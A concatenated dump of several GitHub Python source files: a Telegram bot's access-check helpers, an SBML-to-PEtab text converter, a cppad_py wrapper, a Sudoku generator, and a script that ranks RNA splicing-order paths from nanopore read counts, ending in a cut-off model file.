brain.getUser(msg.chat.id)\n if user:\n log.info(f'Access granted for {msg.chat.mention} ({str(msg.chat.id)})')\n return user\n else:\n log.warn(f'Access denied for {msg.chat.mention} ({str(msg.chat.id)})')\n await msg.answer(f'{Emojis.access_denied} В доступе отказано!')\n return None\n\n\ndef signData(data: str) -> str:\n '''[REMOVED]\n '''\n return '[REMOVED]'\n\n\ndef verifySign(signed_data: str) -> bool:\n '''[REMOVED]\n '''\n return False\n\n\ndef check_cmd(msg: types.Message, cmd: str) -> bool:\n '''Check if text is cmd alias.\n\n Args:\n msg (types.Message): telegram message.\n cmd (str): command name.\n\n Returns:\n bool: True or False.\n '''\n log = getLogger('PCON Security', 'check_cmd')\n log.info(f'Called with args: (\"{msg.text}\", {cmd})')\n cmds = {\n 'help': ('помощь', 'хелп', 'хэлп'),\n 'hubs': ('хабы'),\n 'netstatus': ('статус сети', 'сеть'),\n 'devices': ('устройства'),\n 'version': ('ver', 'version', 'вер', 'версия'),\n 'users': ('usr', 'users', 'пользователи', 'юзеры')\n }\n res = msg.text.lower() in cmds[cmd]\n if res:\n log.info(f'\"{msg.text}\" is \"{cmd}\" command alias.')\n return res\n else:\n log.warning(f'\"{msg.text}\" is not a \"{cmd}\" command alias.')\n return res\n","repo_name":"LulzLoL231/lzssbot_public","sub_path":"security.py","file_name":"security.py","file_ext":"py","file_size_in_byte":2031,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"22418641769","text":"import os\nimport re\nimport warnings\n\ndef make_petab_compatible(path_in, path_out):\n \"\"\"Replaces PEtab incopatible characters in SBML\n \n Args:\n path (:obj:`str`): path to SBML file\n \"\"\"\n with open(path_in, 'r') as file:\n text = file.read()\n\n text = re.sub('[^<]'+'!', lambda matchobj: matchobj.group(0)[0]+'_', text)\n text = re.sub('', lambda matchobj: re.sub('v[0-9].[0-9].[0-9]', lambda matchobj: matchobj.group(0).replace('.', '_'), matchobj.group(0)), text)\n text = text.replace('()', '').replace('@', '_').replace('::', '__')\\\n .replace(').', ')_').replace('(', '_').replace(')', '_')\\\n .replace(',', '_').replace('~', '')\n\n text = text.split('\\n')\n if len(text) < 10:\n raise warning(f'Only detected {len(text)} lines in file. I likely not substituted `names` for `ids`')\n id_to_name = {}\n for i_line in range(len(text)):\n if text[i_line].strip().startswith(' '+id+' ', ' '+name+' ')\n\n with open(path_out, 'w') as file:\n file.write(text)\n\n\nversion = 'v3.0.1'\nbase_dir = os.path.join('results', 'cell_cycle_'+version, '2022-03-24_15-01-35')\nfile = 'cell_cycle_'+version+'_'\nin_file = os.path.join(base_dir, file+'sbml.xml')\nout_file = os.path.join(base_dir, file+'petab.xml')\n\nmake_petab_compatible(in_file, out_file)\n","repo_name":"paulflang/cell_cycle_model","sub_path":"versions/v3.0.1/make_petab_compatible.py","file_name":"make_petab_compatible.py","file_ext":"py","file_size_in_byte":1682,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"8378679201","text":"import numpy\nimport cppad_py\n#\n# This function is used by __init__ in d_fun class to implement syntax above:\ndef d_fun_ctor(ax, ay) :\n\t\"\"\"\n\td_fun(ax, ay)\n\tStop recording a_double operations and\n\tcreate an AD function object that maps ax -> ay.\n\t\"\"\"\n\t#\n\t# This case is used to pass the default constructor through swig\n\tif type(ax) == type(None) or type(ay) == type(None) :\n\t\t# python version of defualt consructor does not specify ax or ay\n\t\tassert type(ax) == type(None) and type(ay) == type(None)\n\t\tax = numpy.empty(0, dtype = cppad_py.a_double)\n\t\tay = numpy.empty(0, dtype = cppad_py.a_double)\n\t#\n\t# convert ax -> au, ay -> av\n\tdtype = cppad_py.a_double\n\tsyntax = 'd_fun(ax, ay)'\n\tau = cppad_py.utility.numpy2vec(ax, dtype, ax.size, syntax, 'ax')\n\tav = cppad_py.utility.numpy2vec(ay, dtype, ay.size, syntax, 'ay')\n\t#\n\t# call d_fun and return result\n\treturn cppad_py.swig.d_fun(au, av)\n","repo_name":"aksholokhov/cppad_py","sub_path":"lib/python/cppad_py/fun_ctor.py","file_name":"fun_ctor.py","file_ext":"py","file_size_in_byte":905,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"62"} +{"seq_id":"2858201856","text":"# import discord\r\n# import config\r\n# from discord.ext import commands\r\nimport numpy as np\r\nimport random\r\nimport solve\r\nimport custom_emojis\r\n\r\nsize = 9 # Size of every block and number of blocks\r\nmax_tries = 100 # Maximum number of board tries\r\ncustom_number_switcher = custom_emojis.custom_number_switcher\r\n\r\n\r\ncol_switcher = { # Switch statement to add letter boarder for columns\r\n 0 : ':regional_indicator_a:',\r\n 1 : ':regional_indicator_b:',\r\n 2 : ':regional_indicator_c:',\r\n 3 : ':regional_indicator_d:',\r\n 4 : ':regional_indicator_e:',\r\n 5 : ':regional_indicator_f:',\r\n 6 : ':regional_indicator_g:',\r\n 7 : ':regional_indicator_h:',\r\n 8 : ':regional_indicator_i:'\r\n}\r\n\r\nrow_switcher = { # Switch statement to add letter boarder for rows\r\n 0 : ':regional_indicator_j:',\r\n 1 : ':regional_indicator_k:',\r\n 2 : ':regional_indicator_l:',\r\n 3 : ':regional_indicator_m:',\r\n 4 : ':regional_indicator_n:',\r\n 5 : ':regional_indicator_o:',\r\n 6 : ':regional_indicator_p:',\r\n 7 : ':regional_indicator_q:',\r\n 8 : ':regional_indicator_r:'\r\n}\r\n\r\nnumber_switcher = {\r\n 0 : ':heavy_multiplication_x:',\r\n 1 : ':one:',\r\n 2 : ':two:',\r\n 3 : ':three:',\r\n 4 : ':four:',\r\n 5 : ':five:',\r\n 6 : ':six:',\r\n 7 : ':seven:',\r\n 8 : ':eight:',\r\n 9 : ':nine:'\r\n}\r\n\r\ncmd_col_switcher = { # Switch statement to add letter boarder for columns\r\n 0 : 'A',\r\n 1 : 'B',\r\n 2 : 'C',\r\n 3 : 'D',\r\n 4 : 'E',\r\n 5 : 'F',\r\n 6 : 'G',\r\n 7 : 'H',\r\n 8 : 'I'\r\n}\r\n\r\ncmd_row_switcher = { # Switch statement to add letter boarder for rows\r\n 0 : 'J',\r\n 1 : 'K',\r\n 2 : 'L',\r\n 3 : 'M',\r\n 4 : 'N',\r\n 5 : 'O',\r\n 6 : 'P',\r\n 7 : 'Q',\r\n 8 : 'R'\r\n}\r\n\r\ndef print_board_console(matrix): # Prints board and boarder\r\n print('\\n')\r\n print(' ', end='')\r\n for i in range(size):\r\n print(' ', cmd_col_switcher.get(i), ' ', end='')\r\n print('')\r\n for row in range(size):\r\n if row % 3 == 0:\r\n print(' |--------------|--------------|-------------|')\r\n print(cmd_row_switcher.get(row), end='')\r\n for col in range(size):\r\n if col % 3 == 0:\r\n print(' |', end='')\r\n print(matrix[row][col], end='')\r\n else:\r\n print(' ', matrix[row][col], end='')\r\n print('|')\r\n print(' |--------------|--------------|-------------|')\r\n\r\ndef print_board_bot(matrix, given): # Prints board and boarder\r\n message = ''\r\n message += ':heavy_multiplication_x: '\r\n for i in range(size):\r\n if i % 3 == 0 and i != 0:\r\n message += ' '\r\n message += ' '\r\n message += col_switcher.get(i)\r\n # message += ' '\r\n message += '\\n'\r\n for row in range(size):\r\n if row % 3 == 0:\r\n message += ' |-------------------|-------------------|------------------|\\n'\r\n else:\r\n message += ' | | | |\\n'\r\n if row % 3 == 2:\r\n message += 'STRING_SPLIT'\r\n message += (row_switcher.get(row))\r\n for col in range(size):\r\n if col % 3 == 0:\r\n message += ' | '\r\n # message += number_switcher.get(int(matrix[row][col]))\r\n else:\r\n message += ' '\r\n # message += number_switcher.get(int(matrix[row][col]))\r\n if (row,col) in given: # if original number, print in red\r\n message += custom_number_switcher.get(int(matrix[row][col]))\r\n else: # else put as blue\r\n message += number_switcher.get(int(matrix[row][col]))\r\n message += ' '\r\n message += '|\\n'\r\n message += ' |-------------------|-------------------|------------------|'\r\n return message\r\n\r\ndef create_board(matrix): # Goes number by number and row by row to create board\r\n for number in range(1,10):\r\n for row in range(size):\r\n col = create_spot(number, row, matrix)\r\n if col == 'BAD_BOARD':\r\n return (False, matrix)\r\n matrix[row][col] = number\r\n return (True, matrix)\r\n \r\ndef create_spot(number, row, matrix): # Creates random column and checks if the number can be in there \r\n time = 0\r\n fair_number = False\r\n while(not fair_number):\r\n if time > max_tries: # After max tries amount of time it gives up on the board\r\n return 'BAD_BOARD'\r\n time += 1\r\n fair_number = True\r\n col = random.randint(0,8)\r\n for x in range(size): # Checks rows for the col\r\n if matrix[x][col] == number:\r\n fair_number = False\r\n continue\r\n for y in range(col):\r\n if matrix[row][y] == number: # Checks col for rows\r\n fair_number = False\r\n continue\r\n\r\n if col > 5:\r\n add_col = 6\r\n elif col > 2:\r\n add_col = 3\r\n else:\r\n add_col = 0\r\n\r\n if row > 5:\r\n add_row = 6\r\n elif row > 2:\r\n add_row = 3\r\n else:\r\n add_row = 0\r\n\r\n if np.any(matrix[add_row:add_row+3, add_col:add_col+3] == number): # Checks 3x3 block\r\n fair_number = False\r\n continue\r\n if matrix[row][col] != 0.0: # Checks to make sure it's not another number\r\n fair_number = False\r\n continue\r\n return col\r\n\r\ndef blank_board(matrix, max_remove):\r\n print_board_console(matrix)\r\n local = matrix\r\n solvable = True\r\n blanksquaresleft = True\r\n number_removed = 0\r\n time = 0\r\n while solvable and number_removed < max_remove:\r\n # print(number_removed)\r\n if time > max_tries: # After max tries amout of time it gives up on the board\r\n return matrix\r\n matrix = local\r\n row = random.randint(0,8)\r\n col = random.randint(0,8)\r\n local[row][col] = 0\r\n number_removed += 1\r\n # print_board_console(local)\r\n solvable = (solve.naked_singels(local) or solve.hidden_singles(local))\r\n if not solvable:\r\n # print('row', row, 'col', col, \"removed\", number_removed)\r\n time += 1\r\n number_removed -= 1\r\n local[row][col] = matrix[row][col]\r\n # print(solvable) \r\n # print_board_console(matrix)\r\n # print(number_removed)\r\n return matrix\r\n\r\ndef letter_is_col(letter):\r\n return {\r\n 'A' : True,\r\n 'B' : True,\r\n 'C' : True,\r\n 'D' : True,\r\n 'E' : True,\r\n 'F' : True,\r\n 'G' : True,\r\n 'H' : True,\r\n 'I' : True\r\n }.get(letter, False)\r\n\r\ndef letter_is_row(letter):\r\n return {\r\n 'J' : True,\r\n 'K' : True,\r\n 'L' : True,\r\n 'M' : True,\r\n 'N' : True,\r\n 'O' : True,\r\n 'P' : True,\r\n 'Q' : True,\r\n 'R' : True\r\n }.get(letter, False)\r\n\r\ncol_to_number = { # Switch statement to add letter boarder for columns\r\n 'A' : 0,\r\n 'B' : 1,\r\n 'C' : 2,\r\n 'D' : 3,\r\n 'E' : 4,\r\n 'F' : 5,\r\n 'G' : 6,\r\n 'H' : 7,\r\n 'I' : 8\r\n}\r\n\r\nrow_to_number = { # Switch statement to add letter boarder for rows\r\n 'J' : 0,\r\n 'K' : 1,\r\n 'L' : 2,\r\n 'M' : 3,\r\n 'N' : 4,\r\n 'O' : 5,\r\n 'P' : 6,\r\n 'Q' : 7,\r\n 'R' : 8\r\n}","repo_name":"BenRemer/Sudoku","sub_path":"sudoku.py","file_name":"sudoku.py","file_ext":"py","file_size_in_byte":7387,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"62"} +{"seq_id":"35861123383","text":"\"\"\"\n\nAuthor: Karine Choquet\n\nDate: January 29, 2022\n\nThis script will identify possible splicing paths and assign them a score based on the isoform counts from direct chromatin RNA sequencing\n\nUsage: python splicing_order_paths_direct_RNA.sh gene_names_df intron_df rep1_multi_intron_counts rep2_multi_intron_counts rep1_splice_info rep2_splice_info splicing_paths\n\ngene_names_df is an annotation file containing transcript ids (NM_) in one column and the gene name in the other\nintron_df is a BED file with coordinates of each intron of interest\n*_multi_intron_counts and *_splice_info are output files from get_splice_status_introns_direct_RNA_nanopore_seq.sh containing the splicing statuses of each intron and each read \n\n\n\"\"\"\n\nimport sys\nimport numpy as np\nimport pandas as pd\nimport pysam\nfrom collections import Counter\n\nimport re\nimport math\n\nimport pybedtools\nfrom pybedtools import BedTool\n\nimport itertools\nfrom more_itertools import consecutive_groups\n\nfrom interruptingcow import timeout\n\n#############\n\ngene_names_df = pd.read_table(sys.argv[1])\ngene_names_df.columns = ['gene_name','gene_id']\nintron_df = pd.read_table(sys.argv[2], header=None, names=['chrom','start','end','intron_name','score','strand'], dtype={'chrom':str, 'start':int, 'end':int, 'intron_name':str, 'score':str, 'strand':str})\nintron_df['gene_id'] = intron_df['intron_name'].str.split(\"\\\\.\").str[0]\nintron_total_df = pd.DataFrame(intron_df.groupby('gene_id')['intron_name'].count()).rename(columns={'intron_name':'intron_total'})\ngene_names_df = gene_names_df.merge(intron_total_df, on='gene_id')\n\n# Set thresholds\n# Minimum reads to consider introns to be post-transcriptionally spliced\nmin_reads = 10\nlevel_threshold = 10\n\n# Load multi_intron_df from both replicates\nmulti_intron_counts1 = pd.read_table(sys.argv[3])\nmulti_intron_counts1['gene_id'] = multi_intron_counts1['gene'].str.split(\"\\\\.\").str[0]\nmulti_intron_counts1 = multi_intron_counts1.merge(gene_names_df, on=['gene_id'])\n\nmulti_intron_counts2 = pd.read_table(sys.argv[4])\nmulti_intron_counts2['gene_id'] = multi_intron_counts2['gene'].str.split(\"\\\\.\").str[0]\nmulti_intron_counts2 = multi_intron_counts2.merge(gene_names_df, on=['gene_id'])\n\n# Load splicing_info from both replicates\nchr1_splice_info = pd.read_table(sys.argv[5], dtype={'read_name':str,'chrom':str,'intron_start':int,'intron_end':int,'strand':str,'gene_name':str,'intron_count':int,'read_overlap':int,'splice_status':str})\nchr2_splice_info = pd.read_table(sys.argv[6], dtype={'read_name':str,'chrom':str,'intron_start':int,'intron_end':int,'strand':str,'gene_name':str,'intron_count':int,'read_overlap':int,'splice_status':str})\n\n\n# Identify unspliced introns\nchr1_splice_info_NO = chr1_splice_info[chr1_splice_info['splice_status']=='NO'].reset_index(drop=True)\nchr1_gr_per_intron_NO = pd.DataFrame(chr1_splice_info_NO.groupby(['chrom','intron_start','intron_end','strand','gene_name','intron_count'])['read_name'].count()).reset_index().rename(columns={'read_name':'read_count'})\nchr1_gr_per_intron_NO = chr1_gr_per_intron_NO[chr1_gr_per_intron_NO['read_count']>=min_reads].reset_index(drop=True).rename(columns={'gene_name':'gene'})\n\nchr2_splice_info_NO = chr2_splice_info[chr2_splice_info['splice_status']=='NO'].reset_index(drop=True)\nchr2_gr_per_intron_NO = pd.DataFrame(chr2_splice_info_NO.groupby(['chrom','intron_start','intron_end','strand','gene_name','intron_count'])['read_name'].count()).reset_index().rename(columns={'read_name':'read_count'})\nchr2_gr_per_intron_NO = chr2_gr_per_intron_NO[chr2_gr_per_intron_NO['read_count']>=min_reads].reset_index(drop=True).rename(columns={'gene_name':'gene'})\n\n\n# Merge the introns from the two replicates\ngr_per_intron_NO = chr1_gr_per_intron_NO.merge(chr2_gr_per_intron_NO, on=['chrom','intron_start','intron_end','strand','gene','intron_count'])\n\n\n# Identify transcripts that have at least 3 introns that meet this minimum\nchr_transcripts = pd.DataFrame(gr_per_intron_NO.groupby(['gene','strand'])['intron_count'].count()).reset_index().rename(columns={'intron_count':'n_introns'})\nchr_transcripts = chr_transcripts[chr_transcripts['n_introns']>=3].reset_index(drop=True)\n\n# Merge with gene names and total intron counts\nchr_transcripts['gene_id'] = chr_transcripts['gene'].str.split(\"\\\\.\").str[0]\nchr_transcripts = chr_transcripts.merge(gene_names_df, on='gene_id')\n\n# Merge transcripts and introns\ngr_per_intron_NO = gr_per_intron_NO.merge(chr_transcripts, on=['gene'])\n\n# Make a dictionary that contains the identity of the introns to analyze for each transcript\n# Alternatively, a list of intron groups (e.g. those with AS events) can be provided\n\ntranscript_dict = {}\n\nfor i in range(len(gr_per_intron_NO)):\n gene = gr_per_intron_NO.loc[i]['gene']\n intron_count = gr_per_intron_NO.loc[i]['intron_count']\n \n if gene not in transcript_dict.keys():\n transcript_dict[gene] = [intron_count]\n elif gene in transcript_dict.keys():\n transcript_dict[gene].append(intron_count)\n\n\n####################\n\ndef get_score_per_path_non_consec(multi_introns_df, total_introns_of_interest, introns_of_interest_list_tmp, n_introns_gene, strand):\n\n # Make a dictionary with the patterns and the counts and another with the number of introns spliced and the counts\n pattern_dict = {}\n results_list = []\n spliced_counts_dict = {}\n \n if strand == \"-\":\n introns_of_interest_list = [str(n_introns_gene - int(i)) for i in introns_of_interest_list_tmp]\n introns_of_interest_fix = \"_\".join(introns_of_interest_list)\n elif strand == \"+\":\n introns_of_interest_list = [str(int(i)+1) for i in introns_of_interest_list_tmp]\n introns_of_interest_fix = \"_\".join(introns_of_interest_list)\n \n # Initiate pattern_dict\n pattern_dict = {}\n for n in range(len(introns_of_interest_list)+1):\n pattern_dict[n] = {}\n \n # Iterate to get counts for isoforms\n for row in range(len(multi_introns_df)):\n gene_name = multi_introns_df.loc[row]['gene_name']\n splice_status_temp = multi_introns_df.loc[row]['splice_status']\n intron_numbers_list_tmp = multi_introns_df.loc[row]['intron_numbers'].split(\"_\")\n if strand == \"-\":\n intron_numbers_list = [str(n_introns_gene - int(i)) for i in intron_numbers_list_tmp]\n intron_numbers = \"_\".join(intron_numbers_list)\n elif strand == \"+\":\n intron_numbers_list = [str(int(i)+1) for i in intron_numbers_list_tmp]\n intron_numbers = \"_\".join(intron_numbers_list)\n \n # Determine if all introns of interest are present in the splice status\n common_introns = [a for a in introns_of_interest_list if a in intron_numbers_list]\n \n if len(common_introns) == total_introns_of_interest:\n introns_of_interest_pos = [i for i, x in enumerate(intron_numbers_list) if x in introns_of_interest_list]\n splice_status_list_temp1 = splice_status_temp.split(\"_\")\n splice_status_list_temp = [splice_status_list_temp1[a] for a in introns_of_interest_pos]\n splice_status_list = [\"SKP\" if \"SKP\" in a else a for a in splice_status_list_temp]\n splice_status = \"_\".join(splice_status_list)\n pattern_count = multi_introns_df.loc[row]['count']\n skipped_count = Counter(splice_status_list)['SKP']\n spliced_count = Counter(splice_status_list)['YES']\n unspliced_count = Counter(splice_status_list)['NO']\n undetermined_count = Counter(splice_status_list)['UND']\n \n if skipped_count == 0 and undetermined_count == 0: # no skipped or undetermined introns\n level = spliced_count\n if skipped_count < total_introns_of_interest:\n if splice_status not in pattern_dict[level].keys():\n pattern_dict[level][splice_status] = pattern_count\n elif splice_status in pattern_dict[level].keys():\n pattern_dict[level][splice_status] += pattern_count\n if level not in spliced_counts_dict.keys():\n spliced_counts_dict[level] = pattern_count\n else:\n spliced_counts_dict[level] += pattern_count \n \n \n if len(pattern_dict[0]) == 0:\n unspliced_iso = \"_\".join([\"NO\" for i in range(len(introns_of_interest_list))])\n pattern_dict[0][unspliced_iso] = 0\n \n \n # Filter for a certain number of reads at each intermediate level\n #level_threshold = 10\n good_levels = []\n for level in sorted(list(spliced_counts_dict.keys()))[0:-1]: # exclude the final level (all spliced)\n if spliced_counts_dict[level] >= level_threshold:\n good_levels.append(level)\n \n if len(good_levels) == total_introns_of_interest: # there is at least one read at each level\n # Initiate path_dict\n path_dict = {}\n for n in range(len(introns_of_interest_list)):\n path_dict[n] = {}\n \n # For each combination of isoforms between levels (e.g. number of splicing events),\n # retrieve the frequencies and calculate scores\n # Below, the following scores are calculated:\n # freq: number of reads for that isoform / total number of reads for that level\n # sub_path_score : freq for that isoform * freq for the isoform from which it is derived\n # path_score: freq for that isoform * path_score from the previous isoform (so multiplicative frequencies)\n # full_path_score: the path_score for the last level of that path\n for levels in itertools.product(pattern_dict.keys(), pattern_dict.keys()):\n level1 = levels[0]\n level2 = levels[1]\n if level1 != level2: # we don't want to compare isoforms from the same level\n \n # Iterate through each pair of isoforms that are from different levels\n for pair in itertools.product(pattern_dict[level1].keys(), pattern_dict[level2].keys()):\n pattern1 = pair[0].split(\"_\")\n pattern2 = pair[1].split(\"_\")\n \n # Get the splicing level of the isoform\n unspliced_introns_pattern1 = len([i for i, x in enumerate(pattern1) if x == \"NO\"])\n unspliced_introns_pattern2 = len([i for i, x in enumerate(pattern2) if x == \"NO\"])\n spliced_introns_pattern2 = Counter(pattern2)['YES'] + Counter(pattern2)['SKP']\n \n # Define the level that will be used below\n level = level1\n \n # retrieve the positions of the difference(s) between the two patterns\n diff_index_list = [i for i, x in enumerate(pattern2) if pattern1[i]!=x]\n \n # If pattern2 has one more spliced intron than pattern1:\n if len(diff_index_list) == 1:\n diff_index = diff_index_list[0]\n if pattern1[diff_index] == \"NO\" and pattern2[diff_index] == \"YES\":\n count_pattern1 = pattern_dict[level1][pair[0]]\n count_pattern2 = pattern_dict[level2][pair[1]]\n \n if level == 0: # this means we are starting from the unspliced isoform\n # define a new splicing path\n new_intron_spliced = str(introns_of_interest_list[diff_index])\n path_name = new_intron_spliced + \"->\"\n freq = count_pattern2 / spliced_counts_dict[level+1]\n path_score = freq\n sub_path_score = freq\n path_dict[level][path_name] = [pattern1, pattern2, pair[0], pair[1], count_pattern1, count_pattern2, \"spliced\", level, new_intron_spliced, spliced_counts_dict[level+1], freq, sub_path_score, path_score]\n \n elif level > 0 and level < len(introns_of_interest_list)-1: # this means we are at an intermediate isoform\n for k in path_dict[level-1].keys():\n if path_dict[level-1][k][1] == pattern1:\n new_intron_spliced = str(introns_of_interest_list[diff_index])\n if unspliced_introns_pattern2 == 0:\n path_name = str(k) + new_intron_spliced\n elif unspliced_introns_pattern2 > 0:\n path_name = str(k) + new_intron_spliced + \"->\"\n freq = count_pattern2 / spliced_counts_dict[level+1]\n path_score = path_dict[level-1][k][-1] * freq\n sub_path_score = path_dict[level-1][k][-3] * freq # only the frequency from the previous level and this level\n path_dict[level][path_name] = [pattern1, pattern2, pair[0], pair[1], count_pattern1, count_pattern2, \"spliced\", level, new_intron_spliced, spliced_counts_dict[level+1], freq, sub_path_score, path_score]\n \n elif level == len(introns_of_interest_list)-1: # this means we are at the fully spliced isoform \n for k in path_dict[level-1].keys():\n if path_dict[level-1][k][1] == pattern1:\n new_intron_spliced = str(introns_of_interest_list[diff_index])\n path_name = str(k) + new_intron_spliced\n freq = 1\n path_score = path_dict[level-1][k][-1] * freq\n sub_path_score = path_dict[level-1][k][-3] * freq\n path_dict[level][path_name] = [pattern1, pattern2, pair[0], pair[1], count_pattern1, count_pattern2, \"spliced\", level, new_intron_spliced, spliced_counts_dict[level+1], freq, sub_path_score, path_score]\n \n \n # Now loop through the dictionary to match each pair with the possible final paths\n # The final level contains only final paths, so first retrieve those\n try:\n final_level = list(path_dict.keys())[-1]\n final_level_df = pd.DataFrame.from_dict(path_dict[final_level], orient='index').reset_index() \n final_level_df.columns = ['path_name','pattern1_list','pattern2_list','pattern1','pattern2','count_pattern1','count_pattern2','event_type','level','new_intron_spliced','total_counts_level','freq','sub_path_score','path_score']\n final_level_df = final_level_df.drop(['pattern1_list','pattern2_list'],axis=1)\n final_level_df['full_path'] = final_level_df['path_name']\n final_df = final_level_df.copy()\n \n # Iterate through each of the levels to match the partial paths with all the possible final paths\n for lev in list(reversed(list(path_dict.keys())))[:-1]:\n # For the two final levels, merge the second last with the last to retrieve the final path and add the final path score\n if lev == final_level:\n df1 = pd.DataFrame.from_dict(path_dict[lev], orient='index').reset_index()\n df2 = pd.DataFrame.from_dict(path_dict[lev-1], orient='index').reset_index()\n \n df1.columns = ['path_name','pattern1_list','pattern2_list','pattern1','pattern2','count_pattern1','count_pattern2','event_type','level','new_intron_spliced','total_counts_level','freq','sub_path_score','path_score']\n df2.columns = ['path_name','pattern1_list','pattern2_list','pattern1','pattern2','count_pattern1','count_pattern2','event_type','level','new_intron_spliced','total_counts_level','freq','sub_path_score','path_score']\n \n fields = ['pattern1','path_name']\n \n new_df = df2.merge(df1[fields], left_on='pattern2', right_on='pattern1', how='left')\n new_df = new_df.rename(columns={'path_name_x':'path_name','path_name_y':'full_path','pattern1_x':'pattern1'}).drop(['pattern1_y','pattern1_list','pattern2_list'], axis=1)\n \n new_df = new_df.fillna(0)\n \n # If full_path is null, that means that it wasn't present in the level above and therefore the full path\n # is likely to be the current path, so replace it that way\n new_df_sub1 = new_df[new_df['full_path']==0].reset_index(drop=True)\n new_df_sub2 = new_df[new_df['full_path']!=0].reset_index(drop=True)\n \n new_df_sub1['full_path'] = new_df_sub1['path_name']\n \n new_df = pd.concat([new_df_sub1, new_df_sub2]).reset_index(drop=True)\n \n final_df = pd.concat([final_df, new_df]).reset_index(drop=True)\n \n # For any previous levels, repeat the previous steps\n elif (lev - 1) >= 0:\n df1 = new_df.copy()\n df2 = pd.DataFrame.from_dict(path_dict[lev-1], orient='index').reset_index()\n \n df2.columns = ['path_name','pattern1_list','pattern2_list','pattern1','pattern2','count_pattern1','count_pattern2','event_type','level','new_intron_spliced','total_counts_level','freq','sub_path_score','path_score']\n \n fields = ['pattern1','full_path']\n \n new_df = df2.merge(df1[fields], left_on='pattern2', right_on='pattern1', how='left')\n new_df = new_df.rename(columns={'pattern1_x':'pattern1'}).drop(['pattern1_y','pattern1_list','pattern2_list'], axis=1)\n \n new_df = new_df.fillna(0)\n \n new_df_sub1 = new_df[new_df['full_path']==0].reset_index(drop=True)\n new_df_sub2 = new_df[new_df['full_path']!=0].reset_index(drop=True)\n \n new_df_sub1['full_path'] = new_df_sub1['path_name']\n \n new_df = pd.concat([new_df_sub1, new_df_sub2]).reset_index(drop=True)\n \n final_df = pd.concat([final_df, new_df]).reset_index(drop=True)\n \n \n # Now make sure that the start of the full path is the same as the path name, since merging on patterns as above\n # will give rows where that is not the case\n final_final_df = final_df[final_df.apply(lambda row: row.full_path.startswith(row.path_name), axis=1)].drop_duplicates().sort_values(by='level').reset_index(drop=True)\n \n \n # Get the final score for the path and express it so that the total score of all final isoforms is 1\n last_isos = final_final_df[~final_final_df['path_name'].str.endswith(\"->\")][['full_path','path_score']].drop_duplicates().reset_index(drop=True)\n last_isos['full_path_score'] = last_isos['path_score'] / last_isos['path_score'].sum()\n last_isos = last_isos.drop('path_score',axis=1).sort_values(by='full_path_score', ascending=False).reset_index(drop=True)\n last_isos['rank'] = last_isos.index + 1\n \n # Modify the levels and rows where the unspliced isoform is pattern2\n final_final_df['level'] = final_final_df['level'] + 1\n \n NO_df = final_final_df[final_final_df['level']==1].reset_index(drop=True)\n NO_df['pattern2'] = NO_df['pattern1']\n NO_df['count_pattern2'] = NO_df['count_pattern1']\n NO_df['level'] = 0\n NO_df['new_intron_spliced'] = 0\n \n final_final_df = pd.concat([final_final_df,NO_df]).sort_values(by='level').reset_index(drop=True)\n \n final_final_df = final_final_df.merge(last_isos, on='full_path')\n \n final_final_df['analyzed_introns'] = introns_of_interest_fix\n final_final_df['gene_name'] = gene_name\n \n return(final_final_df)\n \n except ValueError:\n pass\n\n################################\n\nresults_df_list = []\n\ns1 = 'chr_rep1'\ns2 = 'chr_rep2'\n\nfor transcript in list(transcript_dict.keys()):\n \n gene_results_list = []\n print(transcript)\n \n # Retrieve necessary information for that transcript\n multi_introns_df1 = multi_intron_counts1[multi_intron_counts1['gene']==transcript].reset_index(drop=True)\n multi_introns_df2 = multi_intron_counts2[multi_intron_counts2['gene']==transcript].reset_index(drop=True)\n n_introns_gene = int(chr_transcripts[chr_transcripts['gene']==transcript]['intron_total'])\n strand = chr_transcripts[chr_transcripts['gene']==transcript]['strand'].tolist()[0]\n introns_of_interest = transcript_dict[transcript]\n total_introns_of_interest = len(introns_of_interest)\n \n # Iterate through groups of 3-4 introns in both replicates to retrieve the longest possible paths\n for i in range(3,5):\n for x in range(total_introns_of_interest-i+1):\n introns_of_interest_sub = [introns_of_interest[a] for a in range(x,x+i)]\n # Compute splicing order paths for the introns of interest\n results_df1 = get_score_per_path_non_consec(multi_introns_df1, i, introns_of_interest_sub, n_introns_gene, strand)\n results_df2 = get_score_per_path_non_consec(multi_introns_df2, i, introns_of_interest_sub, n_introns_gene, strand)\n\n \n if results_df1 is not None and results_df2 is not None:\n results_df1['sample_name'] = s1\n results_df2['sample_name'] = s2\n results_df = pd.concat([results_df1,results_df2]).reset_index(drop=True)\n results_df['gene'] = transcript\n results_df['n_analyzed_introns'] = i\n gene_results_list.append(results_df)\n \n if len(gene_results_list)>0:\n gene_results_df = pd.concat(gene_results_list).reset_index(drop=True)\n \n # Retrieve the intron groups that were successfully analyzed\n analyzed_introns_list = gene_results_df['analyzed_introns'].drop_duplicates().tolist()\n \n # Return the longest possible paths\n good_groups = []\n subgroup_list = []\n \n \n # Sort intron list from longest to shortest\n sorted_intron_list = sorted(analyzed_introns_list, key=len, reverse=True)\n \n for intron_group in sorted_intron_list:\n if len(good_groups) == 0:\n good_groups.append(intron_group)\n else:\n common_count = 0\n for a in good_groups:\n if intron_group in a:\n common_count += 1\n if common_count == 0 and intron_group not in good_groups:\n good_groups.append(intron_group) \n \n # Retrieve those paths:\n gene_results_df_sub = gene_results_df[gene_results_df['analyzed_introns'].isin(good_groups)].reset_index(drop=True)\n results_df_list.append(gene_results_df_sub)\n \n\nfinal_results_df = pd.concat(results_df_list).reset_index(drop=True)\n\nfinal_results_df.to_csv(sys.argv[7], sep=\"\\t\", header=True, index=False)\n\n","repo_name":"churchmanlab/splicing_order","sub_path":"scripts/splicing_order_paths_direct_RNA.py","file_name":"splicing_order_paths_direct_RNA.py","file_ext":"py","file_size_in_byte":23518,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"62"} +{"seq_id":"5945945422","text":"import collections\n\nfrom language.xsp.model import constants\nimport tensorflow.compat.v1 as tf\n\n\ndef _get_action_type(extended_indices, output_vocab_size, model_config):\n \"\"\"Returns action_type tensor.\"\"\"\n action_type = tf.constant(0, dtype=tf.int64)\n for action_type_range in _get_action_types_to_range(output_vocab_size,\n model_config):\n index_in_range = tf.logical_and(\n tf.greater_equal(extended_indices, action_type_range.start_index),\n tf.less(extended_indices, action_type_range.end_index))\n 